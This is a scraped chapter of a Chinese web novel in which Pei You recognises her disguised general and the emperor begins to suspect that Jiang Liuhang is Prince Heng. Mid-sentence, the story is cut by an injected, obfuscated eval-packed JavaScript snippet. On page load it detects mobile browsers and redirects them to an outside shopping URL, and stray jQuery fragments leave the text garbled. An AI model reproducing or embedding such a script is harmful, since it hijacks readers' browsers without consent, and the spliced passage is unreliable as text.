默认冷灰
24号文字
方正启体

113. 第 113 章

作者:闲来听风雨本书字数:K更新时间:
    比斗以裴佑一剑扎穿黑倭国随从的手掌结局。


    黑倭国使者脸色很难看,悻悻地让随从退下,向上座道:“贵国武术精深,能人众多,我们心悦诚服。”


    周围欢呼声四起。


    裴佑收剑入鞘,握紧剑柄,顿了一下,像是积攒了力量和勇气,转过头,直直地望向姜六航。


    是将军啊!


    苦寻不见的将军就在那里。


    姜六航站起身,看着裴佑逐渐发红的眼眶,生怕她当场叫破,刚要说话,裴佑突然朝着这边跑过来,一头撞上来,差点把她撞倒。


    姜六航赶紧伸手抱住小裴国公的腰。


    一旁的左卫将军“呵呵”笑道:“小裴国公高兴坏了吧?”


    他觉得裴佑是因为大胜黑倭国,为国扬威,心中激动,才做出失态的举动。


    其他夏朝大臣也这样认为。


    他们也恨不得抱一抱身边的人,共享喜悦。


    实在是,胜得太畅快了!


    但不行,他们得表现出大国的矜持。


    姜指挥可是说了,随便一个武者学习十来天,都能破了那障眼法,他们得表现出淡然的样子,让外邦使者知道,赢了和随从的比斗,于他们来说,只是小事一桩。


    小裴国公和姜指挥是当事人,兴奋一点无妨,他们却不能那样。


    上座,秦信望着相拥的两人,心中总觉得有些不对,却不知这感觉从何而起。


    没过多久,裴佑从姜六航肩头抬起了头,含着泪笑道:“是啊,高兴坏了。”似在回左卫将军的话,又似在自语。


    她环住姜六航的肩,使劲回抱了一下,这才松开手,道:“等会我们一起走,去你的帐篷。”


    这是一刻都等不得了,散场后就要马上问个清楚。


    姜六航知道逃不过,而且她也要叮嘱裴佑别莽撞地把自己的身份说出去,于是应了下来:“好。”


    比斗过后,演武正式结束,明天即返回京城,来京的外邦使者们也会陆续回国。


    皇帝对着众外邦使者说了些恩威并施的话,又邀请他们参加今晚的篝火晚宴。


    到晚宴还有一个时辰,众人各自去准备。


    裴佑迫不及待地拉着姜六航往帐篷去,把往这边走来想和姜六航说话的乌格远远甩到了身后。


    “这位姜指挥排兵布阵极妙,武术上眼光又精准,若不是没有内力使不了武功,那又是一个衡王。”黑倭国使者走到乌格身边,低声道,“本想打压一下大夏的气势,却坏在她的手上,我刚刚看着,跟着我们来的队伍中一些人已经生了畏惧之心。”


    乌格眼神有些阴沉,声音里却没显露出来,像是不在意地道:“没事,我们的人都是勇士,真打起来了不会退缩。”


    这样说着,其实他心中满是后悔。


    他知道魏枕书有本事,在军事上有天赋,但在北狄时,却没显得这样强,而且也没展现出武术上的天赋。若是早知道,他一定把这人牢牢地抓在手里。


    ——


    裴佑拉着姜六航进了帐篷,放下门帘,走到最里面,确定无人听到,紧紧抓住她的手,声音发颤地喊了一声:“将军。”


    那双眼带着泪,带着希望,牢牢盯着她。


    姜六航心下叹了口气,这身份,在裴佑面前是决计瞒不住了。


    “嗯。”她轻轻地应道。


    “将军!”裴佑更加抓紧她的手,以至于姜六航感觉到了疼痛。


    但她心里发虚,于是没有挣扎,任由裴佑抓着。


    “将军,真的是你?”虽然心中已经确定,可裴佑犹自不敢置信,急声追问。


    她需要将军的明确保证,心才能彻底安定下来。


    “是我。”


    “真的是将军,将军你回来了。”裴佑脸上露出笑,上上下下地打量面前的人。


    过了会儿,她想起自重逢以来,姜六航愣是一点口风没露,顿时收起笑,一声声质问道,“将军,你为何不认我?有什么难处,为何不和我说?你明明知道,不管你要做什么,我都会帮你。”


    还是没躲过,姜六航只得安抚道:“我也是怕你知道这事后不小心露出行迹,被人察觉。如果真遇到了我解决不了的事,我肯定会找你帮忙。”


    “真的?”


    “真的。”


    裴佑心里顺了些,没再揪着此事,又连珠炮地问道:“将军,你那病怎么回事?不是说去北狄治病了吗?怎么在这里?鬼手神医到底能不能治好你的病?”


    姜六航一件件地回答。


    ——


    就在姜六航和裴佑在帐篷内敞开了谈话的时候,一脸恍惚的赵松带着儿子到了御帐附近。


    一直到现在,他还处在震惊之中,回不过神,直到望见守在御帐前的军士,他才一个激灵,仿佛从梦中惊醒。


    他怎么就信了儿子的话呢?


    衡王离开时,儿子才四岁半,真能记得清楚那样多?


    焉知不是小孩子错把幻想当成了真实?


    这要是弄错了,那后果他们可承担不起。


    皇帝对衡王的重视有目共睹,万万容不得有人在衡王的事上胡言乱语。


    “儿子,要不,我们还是回去吧?等你娘回来,我们告诉她,再决定怎么办。”赵松打起了退堂鼓,和儿子商量道。


    “爹,要是姜指挥真是衡王,我们知道了,却没及时告诉皇上,皇上会不会怪罪我们?”武直仰着脸问。


    那当然会啊!


    被儿子一语点醒,赵松咬了咬牙:“我们走。”又交代儿子,“儿子,你别直接说姜指挥是衡王,只把你见到的告诉皇上。”


    让皇上自己去判断,这样纵使有错,他们的责任也小了很多。


    武直点头:“好。”


    父子两人到了帐篷前,军士通报后,两人进去。


    秦信正坐在案前批阅奏折,闻声抬起头,让两人免礼,问道:“有什么事?”


    赵松环视一眼,帐篷里除了冯统领再没旁人,他紧张地咽了咽口水,回道:“皇上,犬子今日看了姜指挥指导小裴国公出招,想起了五年前在梁州的事。”


    秦信意外地转了转佛珠。


    赵松让军士传言,说有重要的事禀报,不想这事却是武直想起的。


    五年前的武直才四岁半,能记得什么?赵松又怎会郑重其事地把这事报上来?


    在他疑惑时,武直开口了。


    “皇上,那一年在梁州,裴姨抱着我,和姜叔叔一起出了军营,找了一个没人的地方练剑。就是像今天一样,姜叔叔报招式,裴姨出剑。姜叔叔还给裴姨讲招式怎么接上,我记得,其中就有万星璀璨后接恍然如梦,还有……”


    武直几乎按照顺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156478|188379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    序,把今天裴佑的出招一一说了出来。


    说完后,他长吁一口气。


    好累啊,他从没一次说过这样多的话。


    冯简已经听直了眼,下意识看向皇帝。


    案后的人脸上一片空白,眼神散乱,过了一会才聚焦,定到小孩脸上,声音沙哑地道:“五年前的事你怎记得那样清楚?”


    很有可能,小孩记错了,把今天发生的事原样套到了五年前。


    六航在北狄,怎会是姜指挥?


    数次怀疑,终于抛开,又被这小孩挑起。


    秦信脑中闪过比斗过后,堂妹一头撞向姜指挥,两人紧紧相拥的画面,心脏急跳起来,手指不自觉地攥紧佛珠。


    “皇上,那时的事我都记得的,我还记得那天姜叔叔穿的衣裳。”


    随着武直的描叙,秦信的嘴唇一点点失了血色。


    那天六航穿的衣裳颜色、样式,他同样记得清清楚楚,武直说的一丝不差。


    不。


    有确切证据证明六航和鬼手神医去年九月去了北狄,他不能再胡思乱想。


    “姜指挥和衡王一样有武学上的天赋,报出相同的招式衔接不奇怪。”他道,像是在说服自己。


    武直有点急了,“可是皇上,姜指挥报一剑到底那招时,和姜叔叔一样,右手食指也动了动。”


    秦信目光陡然凝住。


    “你们先出去,不要把这事告诉任何人。”他道。


    待赵松父子俩出了帐篷,冯简迟疑地看向案前的人:“皇上?”


    皇帝的脸白得吓人,声音却保持着一种竭力维持的平稳:“朕记得,谢尚书有一手下,原为江湖中人士,极擅辨音?”


    “是有这么个人,名叫夏长。”冯简一转念就明白了皇上此时提起这人的用意,连忙道,“这几年,这人在刑部,凭借这个本事很是立了些功劳。”


    “去看这人来了没有,如果来了,把他叫来。行踪隐秘些,别被人发现。如果在京城没来,立即派人去把他调来。”


    “是。”


    “给姜指挥治病的那个大夫,叫什么?跟着姜指挥来了吗?”


    “姓周,没跟来,留在了京城。”


    “传信京城的锦衣卫,严密监视周大夫。”秦信沉沉道。


    如果姜指挥真是六航,那位周大夫必是鬼手神医。


    若是夏长没听过衡王的声音,或许听过鬼手神医的声音。


    “是。”冯简也想通了此节,立刻应下。


    “你手上可有姜指挥的笔迹?”


    “有一份姜指挥交上来的演武报告。”


    “拿给朕。另外,把甄学士叫来。”


    报告正好在身上,冯简从袖子里取出,呈给皇帝,然后出门,亲自去办皇帝交代的几件事。


    帐篷里只剩下了秦信一人。


    他从枕旁取了拓印下“彳”字的那张纸,和冯简给的报告并排放在桌面上,仔细对照。可是看来看去,也不能确定是否出于同一人之手。


    但甄学士是书法大家,必能看出些端倪。


    目光落在纸上,脑中各种念头穿梭,心中似有火燎,搅得帝王坐立不安。


    冯简好像去了很久,怎么还不回来呢?


    姜指挥真的是六航吗?


    想到答案或许马上就会揭晓,帝王紧张得背上出了一层汗。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)